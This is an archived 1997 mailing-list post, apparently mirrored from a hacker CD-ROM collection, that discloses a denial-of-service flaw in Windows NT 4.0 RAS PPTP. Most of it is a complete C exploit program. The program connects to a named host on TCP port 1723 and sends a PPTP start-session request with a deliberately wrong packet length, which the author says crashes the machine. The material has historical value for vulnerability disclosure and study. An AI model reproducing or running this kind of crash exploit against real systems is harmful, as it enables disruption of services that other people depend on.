home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / ntpptp.c < prev    next >
Internet Message Format  |  2001-11-06  |  5KB

  1. Date:         Wed, 26 Nov 1997 11:48:13 -0600
  2. From:         Kevin Wormington <kworm@SOFNET.COM>
  3. Subject:      Potenial DOS in Windows NT RAS PPTP
  4.  
  5. Hi, this is my first posting so please excuse the style.  Please forgive me
  6. if this has been posted before, but I have not seen it.  Also, I am unable
  7. to test it with different hotfixes, etc.
  8.  
  9. I discovered that NT 4.0 w/SP3 and RAS PPTP is vulnerable to a DOS causing
  10. core dump.  I have been working with point to point tunnelling protocol and
  11. discovered (by accident) that if you send a pptp start session request with
  12. an invalid packet length in the pptp packet header that it will crash an NT
  13. box.
  14.  
  15. Here is a very crude code fragment that will exploit this behaviour:
  16.  
  17. /*
  18. * Sample Windoze NT RAS PPTP exploit
  19. */
  20. #include <stdio.h>
  21. #include <stdlib.h>
  22. #include <unistd.h>
  23. #include <string.h>
  24. #include <netdb.h>
  25. #include <netinet/in.h>
  26. #include <netinet/udp.h>
  27. #include <arpa/inet.h>
  28. #include <sys/types.h>
  29. #include <sys/time.h>
  30. #include <sys/socket.h>
  31.  
  32. #define PPTP_MAGIC_COOKIE       0x1a2b3c4d
  33. #define PPTP_CONTROL_HEADER_OFFSET  8
  34. #define PPTP_REQUEST_OFFSET  12
  35. typedef enum {
  36.   PPTP_CONTROL_PACKET = 1,
  37.   PPTP_MGMT_PACKET} PptpPacketType;
  38. typedef enum {
  39.   PPTP_START_SESSION_REQUEST = 1,
  40.   PPTP_START_SESSION_REPLY,
  41.   PPTP_STOP_SESSION_REQUEST,
  42.   PPTP_STOP_SESSION_REPLY,
  43.   PPTP_ECHO_REQUEST,
  44.   PPTP_ECHO_REPLY,
  45.   PPTP_OUT_CALL_REQUEST,
  46.   PPTP_OUT_CALL_REPLY,
  47.   PPTP_IN_CALL_REQUEST,
  48.   PPTP_IN_CALL_REPLY,
  49.   PPTP_IN_CALL_CONNECTED,
  50.   PPTP_CALL_CLEAR_REQUEST,
  51.   PPTP_CALL_DISCONNECT_NOTIFY,
  52.   PPTP_WAN_ERROR_NOTIFY,
  53.   PPTP_SET_LINK_INFO,
  54.   PPTP_NUMBER_OF_CONTROL_MESSAGES} PptpControlMessageType;
  55.  
  56. typedef struct {
  57.   u_short    packetLength;
  58.   u_short    packetType;
  59.   u_long     magicCookie;} PptpPacketHeader;
  60. typedef struct {
  61.   u_short    messageType;
  62.   u_short    reserved;
  63. } PptpControlHeader;
  64. typedef struct {
  65.   u_long     identNumber;} PptpEchoRequest;
  66. typedef enum {
  67.   PPTP_ECHO_OK = 1,
  68.   PPTP_ECHO_GENERAL_ERROR} PptpEchoReplyResultCode;
  69. typedef struct {
  70.   u_long     identNumber;
  71.   u_char     resultCode;
  72.   u_char     generalErrorCode;
  73.   u_short    reserved;} PptpEchoReply;
  74. #define PPTP_FRAME_CAP_ASYNC      0x00000001L
  75. #define PPTP_FRAME_CAP_SYNC       0x00000002L
  76. #define PPTP_BEARER_CAP_ANALOG    0x00000001L
  77. #define PPTP_BEARER_CAP_DIGITAL   0x00000002L
  78. typedef struct {
  79.   u_short     protocolVersion;
  80.   u_char      reserved1;
  81.   u_char      reserved2;
  82.   u_long      framingCapability;
  83.   u_long      bearerCapability;
  84.   u_short     maxChannels;
  85.   u_short     firmwareRevision;
  86.   char        hostName[64];
  87.   char        vendorString[64];} PptpStartSessionRequest;
  88. int pptp_start_session (int);
  89. int main(int argc, char **argv)
  90.     {
  91.     int pptp_sock, i, s, offset;
  92.     u_long src_ip, dst_ip = 0;
  93.     struct in_addr addr;
  94.     struct sockaddr_in sn;
  95.     struct hostent *hp;
  96.     struct servent *sp;
  97.     fd_set ctl_mask;
  98.     char buf[2048];
  99.     if((pptp_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  100.       {
  101.       perror("tcp socket");
  102.       exit(1);
  103.       }
  104.     sp = getservbyname("pptp", "tcp"); /* port 1723 */
  105.     if (!sp)
  106.       {
  107.       fprintf(stderr, "pptp: tcp/pptp: unknown service\n");
  108.       exit(1);
  109.       }
  110.     hp = gethostbyname(argv[1]);
  111.     if (!hp) { fprintf (stderr, "Address no good.\n"); exit(1); }
  112.  
  113.     memset(&sn, 0, sizeof(sn));
  114.     sn.sin_port = sp->s_port;
  115.     sn.sin_family = hp->h_addrtype;
  116.     if (hp->h_length > (int)sizeof(sn.sin_addr))
  117.       {
  118.       hp->h_length = sizeof(sn.sin_addr);
  119.       }
  120.     memcpy(&sn.sin_addr, hp->h_addr, hp->h_length);
  121.     if (connect(pptp_sock, (struct sockaddr *)&sn, sizeof(sn)) < 0)
  122.       {
  123.       perror("pptp: can't connect");
  124.       close(s);
  125.       exit(1);
  126.       }
  127.     pptp_start_session(pptp_sock);
  128.     fprintf(stderr, "Done\n");
  129.     close(pptp_sock);
  130.     return (0);
  131.     }
  132. int pptp_start_session (int sock)
  133.   {
  134.   PptpPacketHeader packetheader;
  135.   PptpControlHeader controlheader;
  136.   PptpStartSessionRequest sessionrequest;
  137.   char packet[200];
  138.   int offset;
  139.   packetheader.packetLength = htons (20);  /* whoops, i forgot to change it
  140. */
  141.   packetheader.packetType = htons(PPTP_CONTROL_PACKET);
  142.   packetheader.magicCookie = htonl(PPTP_MAGIC_COOKIE);
  143.   controlheader.messageType = htons(PPTP_START_SESSION_REQUEST);
  144.   controlheader.reserved = 0;
  145.   sessionrequest.protocolVersion = htons(1);
  146.   sessionrequest.reserved1 = 0;
  147.   sessionrequest.reserved2 = 0;
  148.   sessionrequest.framingCapability = htonl(PPTP_FRAME_CAP_ASYNC);
  149.   sessionrequest.bearerCapability = htonl(PPTP_BEARER_CAP_ANALOG);
  150.   sessionrequest.maxChannels = htons(32);
  151.   sessionrequest.firmwareRevision = htons(1);
  152.   memset(&sessionrequest.hostName, 0, sizeof (sessionrequest.hostName));
  153.   sprintf (sessionrequest.hostName, "%s", "mypc.anywhere.com");
  154.   memset(&sessionrequest.vendorString, 0, sizeof
  155. (sessionrequest.vendorString));
  156.   sprintf (sessionrequest.vendorString, "%s", "Any Vendor");
  157.   memset(&packet, 0, sizeof(packet));
  158.   memcpy(&packet, &packetheader, sizeof(packetheader));
  159.   memcpy(&packet[PPTP_CONTROL_HEADER_OFFSET], &controlheader,
  160.                                           sizeof(controlheader));
  161.   memcpy(&packet[PPTP_REQUEST_OFFSET], &sessionrequest,
  162.                                           sizeof(sessionrequest));
  163.   send (sock, &packet, 156, 0);
  164.   return (0);
  165.   }
  166.